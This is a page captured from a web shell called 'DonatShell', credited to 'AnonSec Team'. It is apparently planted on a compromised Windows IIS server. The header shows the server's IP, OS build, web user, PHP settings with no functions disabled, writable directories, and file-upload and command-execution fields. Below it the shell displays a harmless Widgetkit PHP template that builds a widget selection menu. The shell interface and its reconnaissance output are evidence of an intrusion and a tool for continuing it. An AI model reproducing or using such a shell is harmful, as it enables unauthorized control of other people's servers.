DonatShell
Server IP : 180.180.241.3  /  Your IP : 216.73.216.252
Web Server : Microsoft-IIS/7.5
System : Windows NT NETWORK-NHRC 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /AppServ/www/news/tmp/install_5320fcc93572d/admin/layouts/fields/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /AppServ/www/news/tmp/install_5320fcc93572d/admin/layouts/fields/widget.php
<?php
/**
* @package   Widgetkit
* @author    YOOtheme http://www.yootheme.com
* @copyright Copyright (C) YOOtheme GmbH
* @license   http://www.gnu.org/licenses/gpl.html GNU/GPL
*/

// set attributes
$attributes = array();
$attributes['name']  = $name;
$attributes['class'] = 'widgets '.(isset($class) ? $class : '');

// set id attribute
if (isset($id)) {
	$attributes['id'] = $id;
}

// get widget options
$options = array();
foreach ($this['widget']->all() as $widget) {

	if (!isset($options[$widget->type])) {
		$options[$widget->type] = array();
	}

	$options[$widget->type][] = $widget;
}

printf('<select %s><option value="">Please select a widget...</option>', $this['field']->attributes($attributes, array('label', 'description', 'default')));

foreach ($options as $type => $widgets) {
	printf('<optgroup label="%s">', $type);
	
	foreach ($widgets as $widget) {

		// set attributes
		$attributes = array('value' => $widget->id);

		// is checked ?
		if ($widget->id == $value) {
			$attributes = array_merge($attributes, array('selected' => 'selected'));
		}

		printf('<option %s>%s</option>', $this['field']->attributes($attributes), $widget->name);
	}

	printf('</optgroup>');
}

printf('</select>');

Anon7 - 2022
AnonSec Team